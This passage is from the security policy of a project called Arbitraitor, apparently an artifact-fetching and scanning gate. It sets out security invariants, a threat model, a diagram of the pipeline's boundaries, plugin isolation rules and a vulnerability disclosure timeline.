- Affected versions or commits
- Suggested fix if available
We acknowledge within 72 hours and aim to provide an initial assessment within 7 days.
Security invariants
Arbitraitor enforces these non-negotiable security invariants. Any change that weakens them will be rejected:
- No early release — No artifact byte reaches a downstream consumer before scanning and policy evaluation complete.
- Immutable identity — Released bytes hash to exactly the SHA-256 recorded in the verdict.
- Single retrieval — The primary network response is not re-fetched between approval and execution.
- Bounded processing — Every parser, decompressor, scanner, and recursive operation has explicit limits.
- Fail closed — When enforcement is mandatory, inability to complete a required check blocks release.
- Plan-bound approval — Approval binds the full execution plan, not just the artifact digest.
Supported versions
| Version | Supported |
|---|---|
| < 1.0 | Security fixes only on latest main |
Arbitraitor is pre-1.0. Only the latest main branch receives security fixes. Backports are not provided.
Threat model
Arbitraitor assumes:
- Network is adversarial. SSRF, DNS rebinding, TLS downgrade, and CDN compromise are real threats.
- Content publishers may be compromised. A legitimate domain can serve malicious content.
- Human operators make mistakes. Arbitraitor enforces policy even when users intend to bypass it.
Security boundaries
Untrusted input
│
▼
┌──────────────────────────────────────┐
│ FETCH: SSRF protection, TLS verify │
└──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ STORE: Immutable CAS, SHA-256 identity │
└──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ ANALYSIS: Detection pipeline │
└──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ POLICY: Verdict computation │
└──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ APPROVAL: Plan-bound human approval │
└──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ EXECUTE: Mediated, sandboxed │
└──────────────────────────────────────┘
Bytes flow through these boundaries in one direction. Only handles (digests) cross boundaries after initial retrieval.
Plugin security
Plugins are isolated using Wasmtime Component Model or subprocess protocols:
- WASM plugins have no filesystem, network, or environment access by default
- Subprocess plugins run with closed descriptors, clean environment, and resource limits
- Native dynamic libraries (
.so,.dylib) are not supported
See the Plugins documentation for details.
Disclosure policy
| Timeline | Action |
|---|---|
| 0 days | Vulnerability reported |
| 3 days | Acknowledgment sent |
| 7 days | Initial assessment provided |
| 30 days | Fix developed and tested |
| 60 days | Security advisory published |
Critical vulnerabilities may follow an accelerated timeline.